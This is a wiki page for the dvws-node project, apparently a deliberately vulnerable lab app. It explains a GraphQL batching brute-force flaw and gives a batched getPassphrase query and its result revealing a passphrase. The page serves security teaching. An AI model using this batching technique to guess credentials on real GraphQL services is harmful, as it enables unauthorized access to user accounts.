GraphQL Batching Brute Force - snoopysecurity/dvws-node GitHub Wiki

Details

GraphQL supports batched queries. This feature can be abused to bypass web application firewalls and conduct denial of service attacks.

Technical Details

The getPassphrase endpoint can be brute forced to find passphrases of all users.

query Query {
  first: 	getPassphrase(reminder:"t"){
passphrase,
reminder
  
}
  second: getPassphrase(reminder:"te"){
passphrase,
reminder

}
  third: getPassphrase(reminder:"test"){
passphrase,
reminder
  
}
}

Result:

{
  "data": {
    "first": null,
    "second": null,
    "third": {
      "passphrase": "397a363a383a3180496e6d3371714a7c",
      "reminder": "test"
    }
  }
}

References